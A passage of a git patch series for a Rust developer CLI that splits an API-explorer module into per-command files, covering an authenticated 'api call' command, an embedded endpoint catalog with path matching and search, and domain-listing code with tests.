you want to update the app's code — \ + do not create a new app for each update. After upload completes, run \ + `deployment publish` to promote preview to live.", + ) + .with_system("hosting") + .with_tier(Tier::Mutate) + .mutates(true) + .with_scopes(&[CODE_WRITE]), + |ctx, args: SourceUploadArgs| async move { + let app_id = args.app_id; + let file = args.file; + let path = std::path::Path::new(&file); + if !path.is_file() { + return Err(crate::error::GddyError::validation(format!( + "zip file not found: {file}" + )) + .into_cli_error()); + } + let client = make_client(&ctx, &[CODE_WRITE]).await?; + let data = client + .upload_source(&app_id, path) + .await + .map_err(client_err)?; + let upload_job_id = data.get("jobId").and_then(|v| v.as_str()).unwrap_or(""); + let action = if upload_job_id.is_empty() { + next_action( + "hosting nodejs source status --app-id --job-id ", + "Poll zip upload status", + ) + .with_param("app-id", NextActionParam::value(app_id)) + .with_param("job-id", NextActionParam::required()) + } else { + next_action( + "hosting nodejs source status --app-id --job-id ", + "Poll zip upload status", + ) + .with_param("app-id", NextActionParam::value(app_id)) + .with_param("job-id", NextActionParam::value(upload_job_id)) + }; + Ok(CommandResult::new(data).with_next_actions(vec![action])) + }, + ) +} From f1ed26de47b37f568a2f0cb6eb1bdd87d5e81f20 Mon Sep 17 00:00:00 2001 From: Jacob Page Date: Fri, 7 Aug 2026 14:09:34 -0700 Subject: [PATCH 3/7] refactor(api-explorer): split mod.rs into per-concern files api_explorer/mod.rs mixed the catalog data model, schema introspection, parameter/response summarization, module wiring, and every command handler in one 4199-line file. Split into catalog/schema/schema_tree/ summary/http helper files plus one file per leaf command (domain_cmd/operation/parameter/response/schema_cmd/search/call), following the domain/dns file-per-subcommand convention. --- rust/src/api_explorer/call.rs | 427 +++ rust/src/api_explorer/catalog.rs | 415 +++ rust/src/api_explorer/domain_cmd.rs | 62 + rust/src/api_explorer/http.rs | 159 + rust/src/api_explorer/mod.rs | 4168 +------------------------- rust/src/api_explorer/operation.rs | 880 ++++++ rust/src/api_explorer/parameter.rs | 420 +++ rust/src/api_explorer/response.rs | 258 ++ rust/src/api_explorer/schema.rs | 484 +++ rust/src/api_explorer/schema_cmd.rs | 180 ++ rust/src/api_explorer/schema_tree.rs | 562 ++++ rust/src/api_explorer/search.rs | 70 + rust/src/api_explorer/summary.rs | 369 +++ 13 files changed, 4312 insertions(+), 4142 deletions(-) create mode 100644 rust/src/api_explorer/call.rs create mode 100644 rust/src/api_explorer/catalog.rs create mode 100644 rust/src/api_explorer/domain_cmd.rs create mode 100644 rust/src/api_explorer/http.rs create mode 100644 rust/src/api_explorer/operation.rs create mode 100644 rust/src/api_explorer/parameter.rs create mode 100644 rust/src/api_explorer/response.rs create mode 100644 rust/src/api_explorer/schema.rs create mode 100644 rust/src/api_explorer/schema_cmd.rs create mode 100644 rust/src/api_explorer/schema_tree.rs create mode 100644 rust/src/api_explorer/search.rs create mode 100644 rust/src/api_explorer/summary.rs diff --git a/rust/src/api_explorer/call.rs b/rust/src/api_explorer/call.rs new file mode 100644 index 0000000..ab670cc --- /dev/null +++ b/rust/src/api_explorer/call.rs @@ -0,0 +1,427 @@ +//! `api call` — makes an authenticated HTTP request against any endpoint in +//! the embedded catalog (or an unmatched path, falling back to the generic +//! gateway host). + +use cli_engine::{CommandResult, CommandSpec, RuntimeCommandSpec, Tier}; +use serde_json::{Map, Value, json}; + +use super::catalog::{catalog, find_endpoint}; +use super::http::{graphql_errors, is_mutating_method, merge_required_scopes, split_header}; + +#[derive(Debug, Clone, clap::Args)] +struct CallArgs { + /// Relative API path (e.g. /v1/commerce/stores/{storeId}/orders). + #[arg(value_name = "ENDPOINT")] + endpoint: String, + + /// HTTP method. + #[arg(long, short = 'X', value_name = "METHOD", default_value = "GET")] + method: String, + + /// Request body as raw JSON string. + #[arg(long, short = 'd', value_name = "JSON")] + body: Option, + + /// Add a field to the request body (key=value, repeatable). + #[arg(long, short = 'f', value_name = "KEY=VALUE")] + field: Vec, + + /// Read request body from a JSON file. + #[arg(long, short = 'F', value_name = "PATH")] + file: Option, + + /// Extra request headers. + #[arg(long, short = 'H', value_name = "KEY:VALUE")] + header: Vec, + + /// Include response headers in output. + #[arg(long, short = 'i')] + include: bool, + + /// Additional required OAuth scope(s), merged with the endpoint's. + // One value per occurrence, repeatable (`--scope a --scope b`) — a `Vec` + // field defaults to append-style, not `num_args(1..)`, so it can't + // greedily consume the ENDPOINT positional either. + #[arg(long, short = 's', value_name = "SCOPE")] + scope: Vec, +} + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::("call", "Make an authenticated API request") + .with_long( + "Executes an authenticated HTTP request against any GoDaddy API endpoint. \ + Supply the request body as raw JSON (`--body '{...}'`), as individual \ + fields (`--field key=value`, repeatable), or from a JSON file \ + (`--file body.json`); `--file` takes precedence over `--body`, \ + and `--field` values are merged on top of either. Use the global \ + `--expr`/`--filter` flags (JMESPath) to extract or filter \ + response data, and `--include` to see response headers \ + alongside the body. Use `api operation get ` \ + to inspect required parameters and scopes.", + ) + .with_system("api") + .with_tier(Tier::Mutate) + .handles_dry_run(true) + // The dry-run-for-mutating-methods branch never needs a token, so + // resolution is deferred to the handler (which only calls + // `credential_with_scopes` on the path that actually sends a + // request) instead of the engine resolving eagerly beforehand. + .auth_optional(), + |ctx, args: CallArgs| async move { + let endpoint = args.endpoint.as_str(); + let method = args.method.as_str(); + // Validate the method unconditionally, including under + // `--dry-run` — otherwise a garbage/malformed method (e.g. + // "POST " with trailing whitespace) would return a successful + // dry-run preview even though a real run would reject it here. + let parsed_method: reqwest::Method = method.parse().map_err(|_| { + crate::error::GddyError::validation(format!("invalid HTTP method: {method}")) + .into_cli_error() + })?; + + // Validate unconditionally, including under `--dry-run` (same + // rationale as the method check above). `find_endpoint` below can + // match a raw operationId, but the request URL is always built + // from this literal `endpoint` string, not the matched catalog + // path — accepting a bare operationId here would silently build + // an invalid URL (e.g. `https://.../listFulfillments`). + if !endpoint.starts_with('/') { + return Err(crate::error::GddyError::validation(format!( + "endpoint must be a URL path starting with '/', not {endpoint:?} — \ + use `api operation get {endpoint}` to find the concrete path" + )) + .into_cli_error()); + } + + // `--dry-run` is statically tagged `Tier::Mutate` since the method + // is only known at runtime, but a GET/HEAD is safe to actually run + // (and more useful previewed as real data than as a generic + // string) — only short-circuit for methods that would mutate. + if ctx.dry_run() && is_mutating_method(method) { + return Ok(CommandResult::new(json!({ + "command": "api:call", + "action": "dry-run: would execute", + "method": method, + "endpoint": endpoint, + })) + .with_dry_run()); + } + + // Best-effort match against the embedded catalog: a concrete request + // path may not match a templated catalog path, in which case scopes + // fall back to just --scope and the base URL falls back to the + // generic gateway host. + let matched = find_endpoint(catalog(), endpoint); + + // Required scopes = explicit --scope flags, plus the matched + // endpoint's declared scopes. These drive OAuth scope step-up at + // credential time. + let flag_scopes = args.scope.clone(); + let endpoint_scopes = matched.map(|(_, ep)| ep.scopes.as_slice()).unwrap_or(&[]); + let required = merge_required_scopes(flag_scopes, endpoint_scopes); + + let token = ctx.credential_with_scopes(&required).await?.token; + let base_url = match matched { + Some((domain, _)) => crate::environments::resolve_catalog_base_url( + &domain.name, + &domain.base_url, + &ctx.middleware.env, + ), + None => crate::application::client::api_url_for_env(&ctx.middleware.env)?, + }; + let url = format!("{base_url}{endpoint}"); + + // Build request body: -F file > -d body, then merge -f fields on top + let mut request_body: Option = None; + + if let Some(file_path) = args.file.as_deref() { + let content = std::fs::read_to_string(file_path).map_err(|e| { + crate::error::GddyError::validation(format!( + "failed to read file '{file_path}': {e}" + )) + .into_cli_error() + })?; + request_body = Some(serde_json::from_str(&content).map_err(|e| { + crate::error::GddyError::validation(format!( + "invalid JSON in '{file_path}': {e}" + )) + .into_cli_error() + })?); + } else if let Some(body_str) = args.body.as_deref() { + request_body = Some(serde_json::from_str(body_str).map_err(|e| { + crate::error::GddyError::validation(format!("invalid JSON body: {e}")) + .into_cli_error() + })?); + } + + let fields = &args.field; + if !fields.is_empty() { + let body = request_body.get_or_insert_with(|| json!({})); + for s in fields { + let eq = s.find('=').ok_or_else(|| { + crate::error::GddyError::validation(format!( + "invalid field format '{s}': expected key=value" + )) + .into_cli_error() + })?; + let key = s[..eq].to_owned(); + let val = s[eq + 1..].to_owned(); + if let Some(obj) = body.as_object_mut() { + obj.insert(key, json!(val)); + } + } + } + + let client = crate::application::client::make_http_client(); + let mut req = client + .request(parsed_method, &url) + .bearer_auth(&token) + .header("x-request-id", uuid::Uuid::new_v4().to_string()); + + // Apply user-supplied `--header KEY:VALUE` values (repeatable). + for h in &args.header { + let (key, val) = split_header(h).ok_or_else(|| { + crate::error::GddyError::validation(format!( + "invalid header '{h}': expected KEY:VALUE" + )) + .into_cli_error() + })?; + req = req.header(key, val); + } + + if let Some(body) = request_body { + req = req.json(&body); + } + + let request = req + .build() + .map_err(|e| crate::error::GddyError::validation(e.to_string()))?; + cli_engine::transport::debug_log_reqwest_request(&request); + let resp = client + .execute(request) + .await + .map_err(|e| crate::error::GddyError::network(e.to_string()))?; + + let status_code = resp.status(); + let status_text = status_code.canonical_reason().unwrap_or("").to_owned(); + let response_headers_raw = resp.headers().clone(); + let include_headers = args.include; + let body_bytes = resp + .bytes() + .await + .map_err(|e| crate::error::GddyError::network(e.to_string()))?; + cli_engine::transport::debug_log_reqwest_response( + status_code, + &response_headers_raw, + &body_bytes, + ); + + let status = status_code.as_u16(); + let response_headers: Option> = if include_headers { + Some( + response_headers_raw + .iter() + .filter_map(|(k, v)| v.to_str().ok().map(|s| (k.to_string(), json!(s)))) + .collect(), + ) + } else { + None + }; + + let body: Value = super::http::parse_response_body(&body_bytes); + + // GraphQL endpoints return HTTP 200 even on failure, carrying the error + // in a top-level `errors` array. Detect the GraphQL commerce surfaces by + // path and surface those errors instead of reporting a false success. + let is_graphql = endpoint.contains("graphql") || endpoint.contains("subgraph"); + if is_graphql && let Some(errors) = graphql_errors(&body) { + return Err(crate::error::GddyError::from_graphql( + format!( + "GraphQL request returned {} error(s):\n{}", + errors.len(), + serde_json::to_string_pretty(&json!(errors)).unwrap_or_default(), + ), + "api", + ) + .into()); + } + + // Scope step-up already ran up front (the token was requested with + // `required`). A 403 here means the granted token still lacks a + // required scope — surface it with a re-login hint. + if status == 403 && !required.is_empty() { + // `auth login --scope` is append-style (one value per flag), so + // repeat the flag rather than space-joining. + let login_hint = required + .iter() + .map(|s| format!("--scope {s}")) + .collect::>() + .join(" "); + return Err(crate::error::GddyError::auth(format!( + "403 Forbidden — the authorized token is missing required scope(s): {}. \ + Re-run `gddy auth login {login_hint}` and try again.", + required.join(", "), + )) + .with_fix(format!("Run: gddy auth login {login_hint}")) + .into()); + } + + // Any other non-2xx is a failure, not a success envelope. Include the + // status line and (truncated) response body so the caller sees the detail + // instead of a success result that happens to carry an error payload. + if !(200..300).contains(&status) { + let detail: String = serde_json::to_string_pretty(&body) + .unwrap_or_else(|_| body.to_string()) + .chars() + .take(4000) + .collect(); + return Err(crate::error::GddyError::from_http( + status, + format!("{status_text}\n{detail}"), + "api", + ) + .into_cli_error()); + } + + // Identify the call and its outcome in the result envelope. + let mut result = json!({ + "endpoint": endpoint, + "method": method, + "status": status, + "status_text": status_text, + "data": body, + }); + if let Some(headers) = response_headers { + result["headers"] = Value::Object(headers); + } + + Ok(CommandResult::new(result)) + }, + ) +} + +#[cfg(test)] +mod tests { + use cli_engine::{Cli, CliConfig}; + + /// `call` opted into handler-driven `--dry-run` so a GET/HEAD can execute + /// for real under `--dry-run` — but it still requires `Required` auth + /// (no `.no_auth()`), so it must stay fail-closed regardless of method. + #[tokio::test] + async fn call_dry_run_get_still_requires_auth() { + const AUTH_FAILURE_EXIT: i32 = 2; + let cli = Cli::new( + CliConfig::new("gddy", "GoDaddy developer CLI", "gddy") + .with_default_auth_provider("godaddy") + .with_module(super::super::module()), + ); + let output = cli + .run([ + "gddy", + "api", + "call", + "/v1/example", + "--method", + "GET", + "--dry-run", + "--output", + "json", + ]) + .await; + assert_eq!( + output.exit_code, AUTH_FAILURE_EXIT, + "a GET falls through to the real request even under --dry-run, so it still needs \ + auth, got: {}", + output.rendered + ); + } + + /// `call` is `auth_optional()` specifically so the dry-run-for-mutating- + /// methods branch never triggers credential resolution (previously it did, + /// via the engine's `Required`-auth eager resolution before the handler + /// even ran) — a POST preview must succeed with no auth provider at all. + #[tokio::test] + async fn call_dry_run_mutating_method_needs_no_auth() { + let cli = Cli::new( + CliConfig::new("gddy", "GoDaddy developer CLI", "gddy") + .with_module(super::super::module()), + ); + let output = cli + .run([ + "gddy", + "api", + "call", + "/v1/example", + "--method", + "POST", + "--dry-run", + "--output", + "json", + ]) + .await; + assert_eq!(output.exit_code, 0, "{}", output.rendered); + let rendered: serde_json::Value = + serde_json::from_str(&output.rendered).expect("valid json"); + assert_eq!(rendered["data"]["action"], "dry-run: would execute"); + } + + /// A malformed method must still be rejected under `--dry-run`, matching + /// what the real path's `method.parse()` would do — a garbage method + /// must not previously have returned a fake "would execute" success. + #[tokio::test] + async fn call_dry_run_rejects_a_malformed_method() { + let cli = Cli::new( + CliConfig::new("gddy", "GoDaddy developer CLI", "gddy") + .with_module(super::super::module()), + ); + let output = cli + .run([ + "gddy", + "api", + "call", + "/v1/example", + "--method", + "POST ", + "--dry-run", + "--output", + "json", + ]) + .await; + assert_ne!(output.exit_code, 0, "{}", output.rendered); + assert!( + output.rendered.contains("invalid HTTP method"), + "{}", + output.rendered + ); + } + + /// A bare operationId (no leading '/') must be rejected rather than + /// silently built into an invalid request URL — `find_endpoint` can match + /// it for scope lookup, but the URL is always built from the literal + /// `endpoint` string, not the matched catalog path. + #[tokio::test] + async fn call_rejects_an_endpoint_without_a_leading_slash() { + let cli = Cli::new( + CliConfig::new("gddy", "GoDaddy developer CLI", "gddy") + .with_module(super::super::module()), + ); + let output = cli + .run([ + "gddy", + "api", + "call", + "listFulfillments", + "--dry-run", + "--output", + "json", + ]) + .await; + assert_ne!(output.exit_code, 0, "{}", output.rendered); + assert!( + output.rendered.contains("must be a URL path starting with"), + "{}", + output.rendered + ); + } +} diff --git a/rust/src/api_explorer/catalog.rs b/rust/src/api_explorer/catalog.rs new file mode 100644 index 0000000..9cc6ca3 --- /dev/null +++ b/rust/src/api_explorer/catalog.rs @@ -0,0 +1,415 @@ +//! The embedded API catalog: data model, static parsing, and lookup. +//! +//! Every domain's OpenAPI-derived spec is embedded at compile time (see +//! [`DOMAIN_FILES`]) and parsed once into [`catalog`]'s `'static` slice. +//! Lookup helpers here range from exact (operationId/path/method) to fuzzy +//! (substring across path/summary/description/GraphQL operation names), used +//! by every command in this module — `api domain list`, `api operation +//! list/get`, `api parameter`/`api response` (scoped by `--operation`), `api +//! search`, and `api call`. + +use std::sync::OnceLock; + +use cli_engine::CliCoreError; +use serde::Deserialize; +use serde_json::{Map, Value}; + +// --------------------------------------------------------------------------- +// Catalog types +// --------------------------------------------------------------------------- + +#[derive(Debug, Deserialize)] +pub(super) struct Domain { + pub(super) name: String, + pub(super) title: String, + pub(super) description: String, + #[serde(rename = "baseUrl")] + pub(super) base_url: String, + pub(super) endpoints: Vec, + /// Local JSON-schema definitions (`$defs`) that a `requestBody`/response + /// schema's `$ref` may point at, e.g. `{"$ref": "#/$defs/Business"}`. + /// Most catalog request bodies are a bare `$ref` with no inline + /// `properties`, so resolving these is required for schema + /// summarization to say anything useful about them. + #[serde(rename = "$defs", default)] + pub(super) defs: Map, +} + +#[derive(Debug, Deserialize)] +pub(super) struct Endpoint { + #[serde(rename = "operationId")] + pub(super) operation_id: String, + pub(super) method: String, + pub(super) path: String, + pub(super) summary: String, + #[serde(default)] + pub(super) description: String, + #[serde(default)] + pub(super) parameters: Vec, + #[serde(rename = "requestBody", default)] + pub(super) request_body: Option, + #[serde(default)] + pub(super) responses: Value, + #[serde(default)] + pub(super) scopes: Vec, + #[serde(default)] + pub(super) graphql: Option, +} + +#[derive(Debug, Deserialize)] +pub(super) struct GraphqlArgument { + pub(super) name: String, + #[serde(rename = "type")] + pub(super) arg_type: String, + pub(super) required: bool, + #[serde(default, rename = "defaultValue")] + pub(super) default_value: Option, +} + +#[derive(Debug, Deserialize)] +pub(super) struct GraphqlOperation { + pub(super) name: String, + pub(super) kind: String, + #[serde(rename = "returnType")] + pub(super) return_type: String, + #[serde(default)] + pub(super) deprecated: bool, + #[serde(default, rename = "deprecationReason")] + pub(super) deprecation_reason: Option, + #[serde(default)] + pub(super) args: Vec, +} + +#[derive(Debug, Deserialize)] +pub(super) struct GraphqlSchema { + #[serde(rename = "schemaRef")] + pub(super) schema_ref: String, + #[serde(rename = "operationCount")] + pub(super) operation_count: usize, + pub(super) operations: Vec, +} + +// --------------------------------------------------------------------------- +// Static catalog — parsed once from embedded JSON +// --------------------------------------------------------------------------- + +static CATALOG: OnceLock> = OnceLock::new(); + +const DOMAIN_FILES: &[(&str, &str)] = &[ + ( + "bulk-operations", + include_str!("../../schemas/api/bulk-operations.json"), + ), + ( + "businesses", + include_str!("../../schemas/api/businesses.json"), + ), + ( + "catalog-products", + include_str!("../../schemas/api/catalog-products.json"), + ), + ("channels", include_str!("../../schemas/api/channels.json")), + ( + "chargebacks", + include_str!("../../schemas/api/chargebacks.json"), + ), + ( + "customer-profiles", + include_str!("../../schemas/api/customer-profiles.json"), + ), + ( + "fulfillments", + include_str!("../../schemas/api/fulfillments.json"), + ), + ( + "location-addresses", + include_str!("../../schemas/api/location-addresses.json"), + ), + ( + "metafields", + include_str!("../../schemas/api/metafields.json"), + ), + ( + "onboarding", + include_str!("../../schemas/api/onboarding.json"), + ), + ("orders", include_str!("../../schemas/api/orders.json")), + ( + "payment-requests", + include_str!("../../schemas/api/payment-requests.json"), + ), + ("payments", include_str!("../../schemas/api/payments.json")), + ( + "price-adjustments", + include_str!("../../schemas/api/price-adjustments.json"), + ), + ( + "recommendations", + include_str!("../../schemas/api/recommendations.json"), + ), + ("shipping", include_str!("../../schemas/api/shipping.json")), + ("stores", include_str!("../../schemas/api/stores.json")), + ( + "subscriptions", + include_str!("../../schemas/api/subscriptions.json"), + ), + ("taxes", include_str!("../../schemas/api/taxes.json")), + ( + "transactions", + include_str!("../../schemas/api/transactions.json"), + ), + ( + "hosting-nodejs", + include_str!("../../schemas/api/hosting-nodejs.json"), + ), + ("domains", include_str!("../../schemas/api/domains.json")), +]; + +pub(super) fn catalog() -> &'static [Domain] { + CATALOG.get_or_init(|| { + let mut domains: Vec = DOMAIN_FILES + .iter() + .filter_map(|(_, src)| serde_json::from_str::(src).ok()) + .collect(); + // Sorted once here (not per-listing) so every consumer — `api domain + // list`, `api search`, `api operation get` — sees the same stable order. + domains.sort_by(|a, b| a.name.cmp(&b.name)); + domains + }) +} + +/// True if `concrete`'s path segments structurally match `template`'s: a +/// `{param}` segment in `template` matches any single non-empty segment in +/// `concrete` at the same position, every other segment must match +/// literally (case-insensitive). Matches a real request path with path +/// params substituted (e.g. `/stores/abc123/orders`) against the catalog's +/// templated path (`/stores/{storeId}/orders`), which neither exact nor +/// substring matching can do — a concrete path never literally contains the +/// `{storeId}` placeholder. +fn path_matches_template(template: &str, concrete: &str) -> bool { + let template_segs: Vec<&str> = template.trim_matches('/').split('/').collect(); + let concrete_segs: Vec<&str> = concrete.trim_matches('/').split('/').collect(); + template_segs.len() == concrete_segs.len() + && template_segs + .iter() + .zip(concrete_segs.iter()) + .all(|(t, c)| { + (t.starts_with('{') && t.ends_with('}') && !c.is_empty()) + || t.eq_ignore_ascii_case(c) + }) +} + +pub(super) fn find_endpoint<'a>( + catalog: &'a [Domain], + query: &str, +) -> Option<(&'a Domain, &'a Endpoint)> { + let q = query.to_lowercase(); + catalog.iter().find_map(|domain| { + domain.endpoints.iter().find_map(|ep| { + if ep.operation_id.to_lowercase() == q + || ep.path.to_lowercase() == q + || path_matches_template(&ep.path, query) + || ep.path.to_lowercase().contains(&q) + { + Some((domain, ep)) + } else { + None + } + }) + }) +} + +/// Exact (non-fuzzy) endpoint lookup by operationId, full path equality, or +/// a concrete path against a templated catalog path (e.g. `/stores/abc123` +/// against `/stores/{storeId}`), optionally narrowed to a specific HTTP +/// method. Used by `api operation get`'s primary resolution step, distinct from +/// `find_endpoint`'s looser substring-`contains` match (which `api call` +/// still relies on for scope resolution and is left untouched). +/// +/// Returns every match, not just the first: many catalog paths are shared by +/// several endpoints that only differ by method (e.g. `GET`/`POST` on the +/// same collection endpoint), so without `--method` there can genuinely be +/// more than one exact match — the caller decides what to do with that +/// (typically: 1 match resolves transparently, >1 is treated the same as an +/// ambiguous fuzzy match). +fn find_endpoint_exact<'a>( + catalog: &'a [Domain], + query: &str, + method: Option<&str>, +) -> Vec<(&'a Domain, &'a Endpoint)> { + let q = query.to_lowercase(); + catalog + .iter() + .flat_map(|domain| { + let q = q.clone(); + domain.endpoints.iter().filter_map(move |ep| { + let path_matches = ep.operation_id.to_lowercase() == q + || ep.path.to_lowercase() == q + || path_matches_template(&ep.path, query); + let method_matches = method.is_none_or(|m| ep.method.eq_ignore_ascii_case(m)); + (path_matches && method_matches).then_some((domain, ep)) + }) + }) + .collect() +} + +/// Builds an "ambiguous match" error for `resolve_operation`'s two >1-hit +/// branches — an exact path shared by several HTTP methods, or a fuzzy +/// query hitting several unrelated endpoints. Every candidate is formatted +/// as a runnable `gddy api operation get --method ` line and +/// joined into the error's `fix` field: cli-engine's error envelope has no +/// hook today for a `DetailedError` to attach structured `next_actions` +/// (`build_error_envelope` always sets `next_actions: Vec::new()`), so a +/// formatted `fix` string is the richest thing available until that's +/// closed upstream (filed as a follow-up ticket, matching DEVEX-968/972/981 +/// this session). +fn ambiguous_operation_error(query: &str, hits: &[(&Domain, &Endpoint)]) -> CliCoreError { + let candidates = hits + .iter() + .map(|(_, ep)| { + format!( + "gddy api operation get {} --method {} # {}", + ep.path, ep.method, ep.summary + ) + }) + .collect::>() + .join("\n "); + crate::error::GddyError::ambiguous(format!( + "'{query}' matches {} operations. Be more specific:", + hits.len() + )) + .with_fix(format!("Run one of:\n {candidates}")) + .into_cli_error() +} + +/// Resolves a `--operation`/positional operation query against the catalog +/// — shared by `operation get` and every command scoped by `--operation` +/// (`parameter`/`response` list and get, `schema get`), since they all need +/// the same exact/fuzzy/ambiguous cascade `operation_get_command` already +/// implemented before this existed. Both "no match" and "more than one +/// match" are errors — there's no single operation to act on either way. +pub(super) fn resolve_operation<'a>( + catalog: &'a [Domain], + query: &str, + method_filter: Option<&str>, +) -> Result<(&'a Domain, &'a Endpoint), CliCoreError> { + let exact_hits = find_endpoint_exact(catalog, query, method_filter); + match exact_hits.len() { + 1 => Ok((exact_hits[0].0, exact_hits[0].1)), + 0 => { + let hits = search_endpoints(catalog, query); + match hits.len() { + 0 => Err(crate::error::GddyError::not_found(format!( + "no operation found matching '{query}' — try `gddy api search {query}`" + )) + .with_fix(format!( + "Run: gddy api search {query} or gddy api domain list" + )) + .into_cli_error()), + 1 => Ok((hits[0].0, hits[0].1)), + _ => Err(ambiguous_operation_error(query, &hits)), + } + } + _ => Err(ambiguous_operation_error(query, &exact_hits)), + } +} + +pub(super) fn search_endpoints<'a>( + catalog: &'a [Domain], + query: &str, +) -> Vec<(&'a Domain, &'a Endpoint)> { + let q = query.to_lowercase(); + catalog + .iter() + .flat_map(|domain| { + let q = q.clone(); + domain.endpoints.iter().filter_map(move |ep| { + let haystack = format!( + "{} {} {} {}", + ep.operation_id.to_lowercase(), + ep.path.to_lowercase(), + ep.summary.to_lowercase(), + ep.description.to_lowercase(), + ); + // Only scan GraphQL operations (up to 149 on some domains) + // when the core fields didn't already match, and stop at the + // first hit instead of concatenating every operation into one + // string up front. + let matches = haystack.contains(&q) + || ep.graphql.as_ref().is_some_and(|g| { + g.operations.iter().any(|op| { + format!("{} {}", op.kind, op.name) + .to_lowercase() + .contains(&q) + }) + }); + if matches { Some((domain, ep)) } else { None } + }) + }) + .collect() +} + +#[cfg(test)] +mod tests { + use super::{catalog, find_endpoint}; + + /// `catalog()` sorts once so every listing (`api domain list`, `api + /// search`, `api operation get`) sees the same stable, alphabetical order. + #[test] + fn catalog_domains_are_sorted_alphabetically() { + let names: Vec<&str> = catalog().iter().map(|d| d.name.as_str()).collect(); + let mut sorted = names.clone(); + sorted.sort(); + assert_eq!(names, sorted); + } + + /// Mirrors `call_command`'s domain-aware base-URL resolution: a matched + /// catalog endpoint resolves through its own domain's host (not the + /// generic gateway), with per-environment convention substitution. + #[test] + fn matched_endpoint_resolves_its_own_domain_base_url() { + let (domain, _) = find_endpoint(catalog(), "listFulfillments") + .expect("listFulfillments exists in the embedded catalog"); + assert_eq!(domain.name, "fulfillments"); + let base_url = + crate::environments::resolve_catalog_base_url(&domain.name, &domain.base_url, "ote"); + assert_eq!( + base_url, + "https://fulfillment.api.commerce.ote-godaddy.com/v1/commerce" + ); + } + + /// A real request path with path params substituted (as `api call` + /// receives — no user passes a literal `{storeId}`) must still match its + /// templated catalog path, or every parameterized endpoint would fall + /// back to the wrong (generic gateway) base URL and lose scope lookup. + #[test] + fn concrete_path_matches_its_templated_catalog_path() { + let (domain, endpoint) = find_endpoint(catalog(), "/stores/abc123/fulfillments") + .expect("concrete path should match the templated catalog path"); + assert_eq!(domain.name, "fulfillments"); + assert_eq!(endpoint.operation_id, "listFulfillments"); + } + + /// An endpoint the catalog doesn't recognize has no domain to resolve a + /// base URL against — `call_command` falls back to the generic gateway + /// host in this case. + #[test] + fn unmatched_endpoint_has_no_domain_to_resolve_against() { + assert!(find_endpoint(catalog(), "not-a-real-operation-id").is_none()); + } + + // ----------------------------------------------------------------------- + // search_endpoints — GraphQL operation names are searchable + // ----------------------------------------------------------------------- + + #[test] + fn search_endpoints_matches_a_graphql_operation_name() { + let hits = super::search_endpoints(catalog(), "SKUGroup"); + assert!( + hits.iter() + .any(|(_, ep)| ep.operation_id == "postCatalogGraphql"), + "expected a GraphQL operation name to surface its parent endpoint in search results" + ); + } +} diff --git a/rust/src/api_explorer/domain_cmd.rs b/rust/src/api_explorer/domain_cmd.rs new file mode 100644 index 0000000..d23bc61 --- /dev/null +++ b/rust/src/api_explorer/domain_cmd.rs @@ -0,0 +1,62 @@ +//! `api domain list`. + +use cli_engine::{CommandResult, CommandSpec, NextActionParam, RuntimeCommandSpec, Tier}; +use serde_json::{Value, json}; + +use crate::next_action::next_action; +use crate::output_schema::output_schema; + +use super::catalog::catalog; + +output_schema!(ApiDomain { + "domain": "string"; + "title": "string"; + "description": "string", optional; + "endpoints": "number"; + "baseUrl": "string"; +}); + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_with_context( + CommandSpec::new("list", "List all API domains") + .with_long( + "Lists every API domain in the embedded catalog. Use `api \ + operation list --domain ` to drill into a specific \ + domain or `api search ` to find endpoints across all \ + domains.", + ) + .with_system("api") + .with_tier(Tier::Read) + .no_auth(true) + .with_default_fields("domain,title,endpoints,baseUrl") + .with_output_schema::(), + |ctx| async move { + let catalog = catalog(); + let domains: Vec = catalog + .iter() + .map(|d| { + let base_url = crate::environments::resolve_catalog_base_url( + &d.name, + &d.base_url, + &ctx.middleware.env, + ); + json!({ + "domain": d.name, + "title": d.title, + "description": d.description, + "endpoints": d.endpoints.len(), + "baseUrl": base_url, + }) + }) + .collect(); + Ok(CommandResult::new(json!(domains)).with_next_actions(vec![ + next_action( + "api operation list --domain ", + "List endpoints in a specific domain", + ) + .with_param("domain", NextActionParam::required()), + next_action("api search ", "Search across all endpoints"), + ])) + }, + ) +} diff --git a/rust/src/api_explorer/http.rs b/rust/src/api_explorer/http.rs new file mode 100644 index 0000000..cad160f --- /dev/null +++ b/rust/src/api_explorer/http.rs @@ -0,0 +1,159 @@ +//! Small, pure helpers used only by `api call` (see `super::call`): header +//! parsing, mutating-method detection for `--dry-run` gating, response-body +//! parsing, GraphQL error extraction, and OAuth scope merging. + +use serde_json::{Value, json}; + +/// Split a `--header` value of the form `KEY:VALUE` into trimmed parts. +/// Splits on the first colon only, so values may themselves contain colons +/// (e.g. a URL). Returns None when there is no colon. +pub(super) fn split_header(raw: &str) -> Option<(&str, &str)> { + raw.split_once(':').map(|(k, v)| (k.trim(), v.trim())) +} + +/// Whether an HTTP method mutates server state, for `--dry-run` gating. +/// `call`'s tier is fixed at spec-build time, but the method is a runtime +/// arg — this decides per-invocation whether `--dry-run` should actually +/// short-circuit the request. Case-insensitive. +pub(super) fn is_mutating_method(method: &str) -> bool { + !(method.eq_ignore_ascii_case("GET") || method.eq_ignore_ascii_case("HEAD")) +} + +/// Parse a response body as JSON when possible, otherwise preserve it as raw +/// UTF-8 text. A non-JSON body (plain text / HTML error page) must not be +/// silently dropped to `null` — only a truly empty or binary body becomes null. +pub(super) fn parse_response_body(bytes: &[u8]) -> Value { + match serde_json::from_slice::(bytes) { + Ok(v) => v, + Err(_) => match std::str::from_utf8(bytes) { + Ok(s) if !s.is_empty() => json!(s), + _ => Value::Null, + }, + } +} + +/// A non-empty top-level GraphQL `errors` array, if present. GraphQL endpoints +/// return HTTP 200 even on failure and carry the failure here. +pub(super) fn graphql_errors(body: &Value) -> Option<&Vec> { + body.get("errors") + .and_then(|e| e.as_array()) + .filter(|a| !a.is_empty()) +} + +/// Union of user-supplied `--scope` flags and a matched endpoint's declared +/// scopes, order-preserving and de-duplicated (flags first). +pub(super) fn merge_required_scopes( + flag_scopes: Vec, + endpoint_scopes: &[String], +) -> Vec { + let mut required: Vec = Vec::new(); + // De-dup across both sources (a user can repeat `--scope`), flags first. + for scope in flag_scopes + .into_iter() + .chain(endpoint_scopes.iter().cloned()) + { + if !required.contains(&scope) { + required.push(scope); + } + } + required +} + +#[cfg(test)] +mod tests { + use serde_json::json; + + use super::{ + graphql_errors, is_mutating_method, merge_required_scopes, parse_response_body, + split_header, + }; + use 